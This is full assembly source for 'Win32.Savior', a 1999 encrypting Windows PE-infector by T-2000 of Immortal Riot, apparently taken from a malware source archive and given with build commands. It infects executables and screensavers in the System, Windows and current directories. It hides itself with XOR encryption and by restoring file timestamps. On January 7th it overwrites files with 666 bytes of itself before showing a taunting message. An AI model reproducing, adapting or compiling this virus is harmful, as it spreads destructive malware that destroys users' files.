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MalwareSourceCode/Win32/Win32.Savior.asm

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;============================================================================
;
;
; NAME: Win32.Savior v1.00
; TYPE: Direct-action variable encrypting PE-infector.
; SIZE: Around 1850 bytes.
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; DATE: February 1999.
; PAYLOAD: File-trashing on January 7th.
;
;
; CAPABILITIES:
;
; - True Win32-compatible (Win-95/NT).
; - Variable encrypting (32-bit key).
; - Traps possible errors with a SEH.
; - Infects files in Windoze + System-directory.
; - Destructive payload.
;
;
; As for now only the host's import-table is being searched for GetModule-
; HandleA/W and GetProcAddress, this method is fully Win32-compatible though
; won't work if the mentioned API's aren't imported. This virus has been
; succesfully tested both under Windows-95 and Windows-NT version 4.0.
;
;
; Dedicated to a painful death on January 7th 1999, you know who you are...
;
;
; Assemble with: TASM32 SAVIOR.ASM /m /ml
; TLINK32 SAVIOR.OBJ IMPORT32.LIB
; PEWRSEC SAVIOR.EXE
;
;============================================================================
.386
.MODEL FLAT
.CODE
ORG 0
EXTRN GetModuleHandleA:PROC ; Hosts need to import these for
EXTRN GetProcAddress:PROC ; the virus to be able to spread.
EXTRN ExitProcess:PROC ; Only used by the carrier.
Debug_Mode = 0 ; If true, no destruction occurs
; and only DUM?.* are infected.
; - Switch off for distribution! -
Virus_Size EQU (Virus_End-START)
Virus_Size_Mem EQU (Virus_End_Mem-START)
Max_Infect EQU 3
Min_Size_Infect EQU 4096
Marker_File EQU 666h
START:
PUSH EAX ; Reserve room for EIP.
PUSHFD ; Save registers & flags.
PUSHAD
CALL Get_Delta ; Get our location in memory.
Anti_Moron DB 9Ah ; Overlapping code, anti BP.
Get_Delta: POP EBP
SUB EBP, (Anti_Moron-START)
MOV EAX, 0
Init_Key = DWORD PTR $-4
MOV EBX, 0
Init_Slide = DWORD PTR $-4
MOV ECX, (Virus_End-Encrypted) / 4
PUSH EBP
Decrypt_DWORD: XOR [EBP+(Virus_Size-4)], EAX
SUB EBP, 4
ADD EAX, EBX ; Slide decryption-key.
RCL EBX, 1 ; Slide key-slider.
LOOP Decrypt_DWORD
POP EBP
IF (($-START) MOD 4) GT 0
DB (4 - (($-START) MOD 4)) DUP(90h)
ENDIF
Encrypted: MOV EAX, EBP
SUB EAX, 1000h ; Calculate image-base.
Base_Displ = DWORD PTR $-4
LEA EBX, [EAX+((Carrier-START)+1000h)]
Old_EIP_RVA = DWORD PTR $-4
MOV [ESP+(9*4)], EBX ; Set address host in stack.
CALL Setup_SEH ; PUSH SEH-address on stack.
IF Debug_Mode
MOV EAX, 1 ; Unhandled exception.
RET
ELSE
%OUT [WARNiNG]: NoN-DeBuG-MoDe!!
ENDIF
MOV ESP, [ESP+8] ; Restore original stack.
JMP Restore_SEH ; Terminate program-flow.
Setup_SEH: PUSH DWORD PTR FS:[ECX] ; Save original SEH-pointer.
MOV FS:[ECX], ESP ; Set our own SEH.
MOV EBX, [EAX+3Ch] ; PE-header.
ADD EBX, EAX
MOV EBX, [EBX+128] ; Import-directory.
ADD EBX, EAX
Find_K32_Dir: CMP [EBX], ECX ; Reached end of imports?
JZ JMP_Rest_SEH
MOV EDI, [EBX+(3*4)] ; Get module-name.
ADD EDI, EAX
CMP [EDI], 'NREK' ; Is it KERNEL32.DLL ?
JNE Go_Next_Dir
CMP [EDI+4], '23LE'
JE Search_Entries
Go_Next_Dir: ADD EBX, (5*4) ; Go to next directory.
JMP Find_K32_Dir
Search_Entries: PUSH EBX
MOV EBX, [EBX] ; Array of RVA's.
ADD EBX, EAX
XOR EDX, EDX
MOV ESI, 1 ; Initialize 'not found'.
MOV EDI, ESI
Search_Import: MOV ECX, [EBX+EDX] ; Reached end of array?
JECXZ End_Imports
ADD ECX, EAX ; Add base.
Look_4_GetMod: PUSHAD ; GetModuleHandleA/W ?
LEA ESI, [ECX+2]
LEA EDI, [EBP+(Name_GetModuleHandleX-START)]
MOV ECX, 15
CLD
REPE CMPSB
JNE Exit_Search_GM
PUSHF
MOV AL, (Get_Module-Unicode_Switch) - 1
CMP BYTE PTR [ESI], 'W' ; Unicode type?
JNE Store_Switch_W
XOR AL, AL
Store_Switch_W: MOV [EBP+(Unicode_Switch-START)], AL
POPF
Exit_Search_GM: POPAD
JNE Look_4_GetProc
MOV ESI, EDX
Look_4_GetProc: PUSHAD ; GetProcAddress ?
LEA ESI, [ECX+2]
LEA EDI, [EBP+(Name_GetProcAddress-START)]
MOV ECX, 15
REPE CMPSB
POPAD
JNE Go_Next_Entry
MOV EDI, EDX
Go_Next_Entry: ADD EDX, 4 ; Next RVA in the array.
JMP Search_Import
End_Imports: POP EBX
MOV EBX, [EBX+(4*4)]
ADD EBX, EAX
; Store assumed GetModuleHandle(A/W)-address.
PUSH DWORD PTR [EBX+ESI]
POP DWORD PTR [EBP+(GetModuleHandleX-START)]
; Store assumed GetProcAddress(A/W)-address.
PUSH DWORD PTR [EBX+EDI]
POP DWORD PTR [EBP+(GetProcAddressX-START)]
DEC ESI ; GetModuleHandle(A/W) found?
JZ JMP_Rest_SEH
DEC EDI ; GetProcAddress(A/W) found?
JNZ Init_API
JMP_Rest_SEH: JMP Restore_SEH ; Abort all.
Init_API: LEA ESI, [EBP+(API_Names-START)]
LEA EDI, [EBP+(API_Addresses-START)]
Setup_Module: PUSH ESI
JMP $ ; Use Ansi or Unicode ?
Unicode_Switch = BYTE PTR $-1
ADD ESI, 9 ; Use Unicode equivalent.
Get_Module: PUSH ESI
CALL [EBP+(GetModuleHandleX-START)]
POP ESI
OR EAX, EAX ; Terminate when not found.
JZ JMP_Rest_SEH
XCHG EBX, EAX ; Save module-base in EBX.
ADD ESI, (3*9) ; Start named functions.
Loop_Get_API: PUSH ESI ; Retrieve API-address of
PUSH EBX ; named function.
CALL [EBP+(GetProcAddressX-START)]
CLD ; Store API-address.
STOSD
XCHG ECX, EAX ; API not found?
JECXZ JMP_Rest_SEH
Find_Next_API: LODSB
OR AL, AL ; Found end of API-name?
JNZ Find_Next_API
CMP [ESI], AL ; This is the end of module?
JNZ Loop_Get_API
LODSB
CMP [ESI], AL ; End of whole table?
JNZ Setup_Module
; Get local date & time.
LEA EBX, [EBP+(Local_Time-START)]
PUSH EBX
CALL [EBP+(GetLocalTime-START)]
MOV AL, (Read_Header-Trash_Switch) - 1
; Is it time to say goodbye?
CMP BYTE PTR [EBX.Current_Month], 1
JNE Start_Infect
CMP BYTE PTR [EBX.Current_Day], 7
JNE Start_Infect
XOR AL, AL
Start_Infect: MOV [EBP+(Trash_Switch-START)], AL
LEA ESI, [EBP+(Current_Directory-START)]
MOV EBX, 260
PUSH ESI
PUSH ESI ; Retrieve current path.
PUSH EBX
CALL [EBP+(GetCurrentDirectoryA-START)]
ADD ESI, EBX
PUSH ESI
PUSH EBX ; Retrieve Windoze-directory.
PUSH ESI
CALL [EBP+(GetWindowsDirectoryA-START)]
ADD ESI, EBX
PUSH ESI
PUSH EBX ; Retrieve System-directory.
PUSH ESI
CALL [EBP+(GetSystemDirectoryA-START)]
; Infect files in System-directory.
CALL [EBP+(SetCurrentDirectoryA-START)]
CALL Infect_Directory
; Infect files in Windoze-directory.
CALL [EBP+(SetCurrentDirectoryA-START)]
CALL Infect_Directory
; Infect files in current-directory.
CALL [EBP+(SetCurrentDirectoryA-START)]
CALL Infect_Directory
; Display the you-are-fucked-window?
CMP BYTE PTR [EBP+(Trash_Switch-START)], 0
JNZ Restore_SEH
; Display an OK-box with a message.
PUSH 0
LEA EAX, [EBP+(Payload_Title-START)]
PUSH EAX
LEA EAX, [EBP+(Payload_Text-START)]
PUSH EAX
PUSH 0
CALL [EBP+(MessageBoxA-START)]
Restore_SEH: POP DWORD PTR FS:[0] ; Restore original SEH.
POP EAX ; Trash handler-address.
Execute_Host: POPAD ; Restore registers & flags.
POPFD
RET ; RETurn to our host.
Payload_Title DB '.....', 0 ; Silence means death...
Payload_Text DB 'A HUM4N G0D THA7 WAS MAN-M4DE', 0Dh
DB 'WH3RE 1S Y0UR SAViOR N0W?!', 0
Infect_Directory:
PUSHAD
; Clear infection-counter.
AND BYTE PTR [EBP+(Infect_Counter-START)], 0
LEA EAX, [EBP+(Search_Record-START)]
PUSH EAX
LEA EAX, [EBP+(Search_Mask-START)]
PUSH EAX
CALL [EBP+(FindFirstFileA-START)]
MOV ESI, EAX ; Save search-handle in ESI.
INC EAX
JZ Exit_Inf_Dir
Infect_Loop: PUSHAD
LEA EBX, [EBP+(Search_Record.Find_File_Name-START)]
CMP BYTE PTR [EBP+(Trash_Switch-START)], 0
JZ Extension_OK
MOV ESI, EBX
Find_End_Name: LODSB ; Get next byte of filename.
OR AL, AL ; Found end of the ASCIIZ ?
JNZ Find_End_Name
MOV EAX, [ESI-5] ; Get extension DWORD.
CALL Upcase_EAX
CMP EAX, 'EXE.' ; Standard .EXE-file?
JE Extension_OK
CMP EAX, 'RCS.' ; Screensaver?
JNE Exit_Infect
Extension_OK: PUSH EBX
CALL [EBP+(GetFileAttributesA-START)]
CMP EAX, -1 ; Error occurred?
JE Exit_Infect
MOV ESI, EAX
AND AL, NOT 00000001b ; Get rid of readonly-flag.
PUSH EAX
PUSH EBX
CALL [EBP+(SetFileAttributesA-START)]
DEC EAX ; Error occurred?
JNZ Exit_Infect
PUSH ESI ; PUSH filename + attributes
PUSH EBX ; for Restore_Attr.
PUSH EAX ; Open candidate-file.
PUSH EAX
PUSH 3 ; Open existing.
PUSH EAX
PUSH EAX
PUSH 80000000h OR 40000000h ; Read/write-access.
PUSH EBX
CALL [EBP+(CreateFileA-START)]
MOV [EBP+(File_Handle-START)], EAX
MOV ESI, EAX
INC EAX ; Error occurred?
JZ Restore_Attr
PUSH ESI ; For CloseHandle.
PUSH 0 ; Get candidate's filesize.
PUSH ESI
CALL [EBP+(GetFileSize-START)]
CMP EAX, Min_Size_Infect ; File too small?
JB Close_Handle
LEA EAX, [EBP+(Time_Last_Write-START)]
PUSH EAX ; Get filedates & times.
SUB EAX, 8
PUSH EAX
SUB EAX, 8
PUSH EAX
PUSH ESI
CALL [EBP+(GetFileTime-START)]
JMP $
Trash_Switch = BYTE PTR $-1
IF Debug_Mode
JMP Close_Handle
ENDIF
; Trash file with a part of the virus.
MOV ECX, 666
MOV EDX, EBP
CALL Write_File
; Truncate file at 666 bytes.
PUSH ESI
CALL [EBP+(SetEndOfFile-START)]
JMP Restore_Stamp
; Read the MZ-header.
Read_Header: LEA EBX, [EBP+(Header-START)]
MOV ECX, 40h
CALL Read_File
JNZ Close_Handle
CMP [EBX.EXE_Mark], 'ZM' ; It must be a true EXE-file.
JNE Close_Handle
CMP [EBX.Reloc_Table], 40h ; Contains a new EXE-header?
JB Close_Handle
MOV ESI, [EBX+3Ch]
MOV EAX, ESI ; Seek to PE-header.
CALL Seek_File
JZ Close_Handle
MOV ECX, 92 ; Read-in the PE-header.
CALL Read_File
JNZ Close_Handle
CMP [EBX.PE_Mark], 'EP' ; Verify it's a PE-header.
JNE Close_Handle
; Program is executable?
TEST BYTE PTR [EBX.PE_Flags], 00000010b
JZ Close_Handle
; Don't infect DLL's.
TEST BYTE PTR [EBX.PE_Flags+1], 00100000b
JNZ Close_Handle
CMP [EBX.CPU_Type], 14Ch ; Must be a 386+ file.
JNE Close_Handle
; Is it already infected?
CMP [EBX.Checksum], Marker_File
JE Close_Handle
PUSH ESI
; Calculate position of the last section-header.
MOVZX EAX, [EBX.Number_Of_Sections]
DEC AX
MOV ECX, 40
MUL ECX
; Calculate size of PE-header.
MOV DX, [EBX.NT_Header_Size]
ADD DX, 24
LEA ECX, [ESI+EDX] ; Start section-headers.
ADD EAX, ECX ; EAX = last section-header.
PUSH EAX
; Seek to last section-header.
CALL Seek_File
LEA ESI, [EBP+(Last_Section_Header-START)]
PUSH EBX
MOV EBX, ESI ; Read last section-header.
MOV ECX, 40
CALL Read_File
POP EBX
MOV EAX, [ESI.Section_RVA]
ADD EAX, [ESI.Section_Physical_Size]
MOV [EBP+(Base_Displ-START)], EAX
XCHG [EBX.EIP_RVA], EAX
MOV [EBP+(Old_EIP_RVA-START)], EAX
; Seek to the end of the section.
MOV EAX, [ESI.Section_Physical_Offset]
ADD EAX, [ESI.Section_Physical_Size]
CALL Seek_File
MOV EAX, [ESI.Section_Physical_Size]
ADD EAX, Virus_Size
MOV ECX, [EBX.File_Align]
CALL Align_EAX
MOV [ESI.Section_Physical_Size], EAX
XCHG EDI, EAX ; Save physical-size in EDI.
MOV EAX, [ESI.Section_Virtual_Size]
ADD EAX, Virus_Size_Mem - 1
MOV ECX, [EBX.Object_Align]
Calc_Mem_Size: INC EAX
CALL Align_EAX
CMP EAX, EDI ; Virtual-size may not be
JB Calc_Mem_Size ; smaller than physical-size.
MOV [ESI.Section_Virtual_Size], EAX
ADD EAX, [ESI.Section_RVA]
MOV ECX, [EBX.Object_Align]
CALL Align_EAX
MOV [EBX.Image_Size], EAX
; Set section-flags: read, write, executable, code.
OR [ESI.Section_Flags], 11100000000000000000000000100000b
LEA EDI, [EBP+(Buffer-START)]
PUSHAD
; Get a random slide-key.
CALL [EBP+(GetTickCount-START)]
MOV [EBP+(Init_Slide-START)], EAX
XCHG EBX, EAX
; Get a random encryption-key.
CALL [EBP+(GetTickCount-START)]
MOV [EBP+(Init_Key-START)], EAX
MOV ESI, EBP
MOV ECX, (Virus_Size / 2)
CLD
REP MOVSW ; MOVSD takes one more byte,
; gotta be compact you know.
MOV ECX, (Virus_End-Encrypted) / 4
Encrypt_DWORD: XOR [EDI-4], EAX
SUB EDI, 4
ADD EAX, EBX
RCL EBX, 1
LOOP Encrypt_DWORD
POPAD
MOV EDX, EDI ; Write virusbody to end
MOV ECX, Virus_Size ; of the last section.
CALL Write_File
POP EAX ; Offset last object-header.
CALL Seek_File
; Write updated section-header back to file.
MOV ECX, 40
LEA EDX, [EBP+(Last_Section_Header-START)]
CALL Write_File
; Seek to end of file.
PUSH 2
PUSH EAX
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(SetFilePointer-START)]
XOR EDX, EDX ; Zero-pad the infected file.
MOV EDI, [EBX.File_Align]
DIV EDI
OR EDX, EDX ; File is already aligned?
JZ Mark_Inf_File
SUB EDI, EDX ; Howmany bytes to pad?
Zero_Pad: MOV ECX, 1 ; Write a padding-byte.
LEA EDX, [EBP+(Zero_Tolerance-START)]
CALL Write_File
DEC EDI ; We've did 'em all?
JNZ Zero_Pad
Mark_Inf_File: MOV [EBX.Checksum], Marker_File
POP EAX ; Seek to start of PE-header.
CALL Seek_File
MOV ECX, 92 ; Write updated PE-header.
MOV EDX, EBX
CALL Write_File
; Increment our infection-counter.
INC BYTE PTR [EBP+(Infect_Counter-START)]
; Restore original file-dates & times.
Restore_Stamp: LEA EAX, [EBP+(Time_Last_Write-START)]
PUSH EAX
SUB EAX, 8
PUSH EAX
SUB EAX, 8
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(SetFileTime-START)]
Close_Handle: CALL [EBP+(CloseHandle-START)]
Restore_Attr: CALL [EBP+(SetFileAttributesA-START)]
Exit_Infect: POPAD
; We've did enough infections?
CMP BYTE PTR [EBP+(Infect_Counter-START)], Max_Infect
JNB Close_Find
; Find another file.
LEA EAX, [EBP+(Search_Record-START)]
PUSH EAX
PUSH ESI
CALL [EBP+(FindNextFileA-START)]
DEC EAX ; Continue if search went OK.
JZ Infect_Loop
Close_Find: PUSH ESI ; Close search-handle.
CALL [EBP+(FindClose-START)]
Exit_Inf_Dir: POPAD
RET
; EAX = Offset.
; Returns ZF if error.
Seek_File:
PUSH 0
PUSH 0
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(SetFilePointer-START)]
INC EAX
RET
; EBX = Buffer.
; ECX = Bytes to read.
; Returns ZF if successful.
Read_File:
PUSH 0
LEA EAX, [EBP+(Bytes_Read-START)]
PUSH EAX
PUSH ECX
PUSH EBX
PUSH DWORD PTR [EBP+(File_Handle-START)]
CALL [EBP+(ReadFile-START)]
DEC EAX
RET
; ECX = Amount of bytes.
; EDX = Buffer.
; Returns ZF if successful.
Write_File:
PUSH 0
LEA EAX, [EBP+(Bytes_Read-START)]
PUSH EAX
PUSH ECX
PUSH EDX
PUSH 12345678h
File_Handle = DWORD PTR $-4
CALL [EBP+(WriteFile-START)]
DEC EAX
RET
Align_EAX:
XOR EDX, EDX
DIV ECX
OR EDX, EDX ; Even division?
JZ No_Round ; Then no need to round-up.
INC EAX ; Round-up.
No_Round: MUL ECX
RET
Copyright DB '(c) 1999 T-2000 / Immortal Riot.', 0
Upcase_EAX:
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
Upcase_AL: CMP AL, 'a'
JB Exit_Upcase_AL
CMP AL, 'z'
JA Exit_Upcase_AL
SUB AL, 'a' - 'A'
Exit_Upcase_AL: RET
IF Debug_Mode
Search_Mask DB 'DUM?.*', 0
ELSE
Search_Mask DB '*.*', 0
ENDIF
API_Names:
DB 'KERNEL32', 0
DW 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', 0
DB 'CreateFileA', 0
DB 'CloseHandle', 0
DB 'SetFilePointer', 0
DB 'ReadFile', 0
DB 'WriteFile', 0
DB 'GetFileSize', 0
DB 'FindFirstFileA', 0
DB 'FindNextFileA', 0
DB 'FindClose', 0
DB 'GetFileTime', 0
DB 'SetFileTime', 0
DB 'GetFileAttributesA', 0
DB 'SetFileAttributesA', 0
DB 'GetLocalTime', 0
DB 'SetEndOfFile', 0
DB 'GetCurrentDirectoryA', 0
DB 'SetCurrentDirectoryA', 0
DB 'GetWindowsDirectoryA', 0
DB 'GetSystemDirectoryA', 0
DB 'GetTickCount', 0
DB 0
DB 'USER32', 0, 0, 0
DW 'U', 'S', 'E', 'R', '3', '2', 0, 0, 0
DB 'MessageBoxA', 0
DB 0
Zero_Tolerance DB 0
Name_GetProcAddress DB 'GetProcAddress', 0
Name_GetModuleHandleX DB 'GetModuleHandle'
IF (($-START) MOD 4) GT 0
DB (4 - (($-START) MOD 4)) DUP(0)
ENDIF
Virus_End:
API_Addresses:
; === API's from KERNEL32.DLL. ===
CreateFileA DD 0
CloseHandle DD 0
SetFilePointer DD 0
ReadFile DD 0
WriteFile DD 0
GetFileSize DD 0
FindFirstFileA DD 0
FindNextFileA DD 0
FindClose DD 0
GetFileTime DD 0
SetFileTime DD 0
GetFileAttributesA DD 0
SetFileAttributesA DD 0
GetLocalTime DD 0
SetEndOfFile DD 0
GetCurrentDirectoryA DD 0
SetCurrentDirectoryA DD 0
GetWindowsDirectoryA DD 0
GetSystemDirectoryA DD 0
GetTickCount DD 0
; === API's from USER32.DLL. ===
MessageBoxA DD 0
GetModuleHandleX DD 0 ; These are being fetched
GetProcAddressX DD 0 ; from the host's import.
Local_Time DW 8 DUP(0)
Time_Creation DD 0, 0
Time_Last_Access DD 0, 0
Time_Last_Write DD 0, 0
Infect_Counter DB 0
Bytes_Read DD 0
Header DB 92 DUP(0)
Last_Section_Header DB 40 DUP(0)
Search_Record DB 318 DUP(0)
Current_Directory DB 260 DUP(0)
Windows_Directory DB 260 DUP(0)
System_Directory DB 260 DUP(0)
Buffer DB Virus_Size DUP(0)
Virus_End_Mem:
Carrier:
PUSH 0 ; Terminate current process.
CALL ExitProcess
;---------------------- SOME USED STRUCTURES --------------------------------
EXE_Header STRUC
EXE_Mark DW 0 ; MZ-marker (MZ or ZM).
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
MZ_Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Reloc_Table DW 0
EXE_Header ENDS
PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0 ; Minimal CPU required.
Number_Of_Sections DW 0 ; Number of sections in PE.
DD 0
Reserved_1 DD 0
DD 0
NT_Header_Size DW 0
PE_Flags DW 0
DD 4 DUP(0)
EIP_RVA DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
DD 0
Image_Size DD 0
DD 0
Checksum DD 0
PE_Header ENDS
Section_Header STRUC
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
Section_Virtual_Size DD 0 ; Memory-size of section.
Section_RVA DD 0 ; Start section in memory.
Section_Physical_Size DD 0 ; Section-size in file.
Section_Physical_Offset DD 0 ; Section file-offset.
Section_Reserved_1 DD 0 ; Not used for executables.
Section_Reserved_2 DD 0 ; Not used for executables.
Section_Reserved_3 DD 0 ; Not used for executables.
Section_Flags DD 0 ; Flags of the section.
Section_Header ENDS
Find_First_Next_Win32 STRUC
File_Attributes DD 0
Creation_Time DD 0, 0
Last_Accessed_Time DD 0, 0
Last_Written_Time DD 0, 0
Find_File_Size_High DD 0
Find_File_Size_Low DD 0
Find_Reserved_1 DD 0
Find_Reserved_2 DD 0
Find_File_Name DB 260 DUP(0)
Find_DOS_File_Name DB 14 DUP(0)
Find_First_Next_Win32 ENDS
Date_Time STRUC
Current_Year DW 0
Current_Month DW 0
Current_Day_Of_Week DW 0
Current_Day DW 0
Current_Hour DW 0
Current_Minute DW 0
Current_Second DW 0
Current_Millisecond DW 0
Date_Time ENDS
END START
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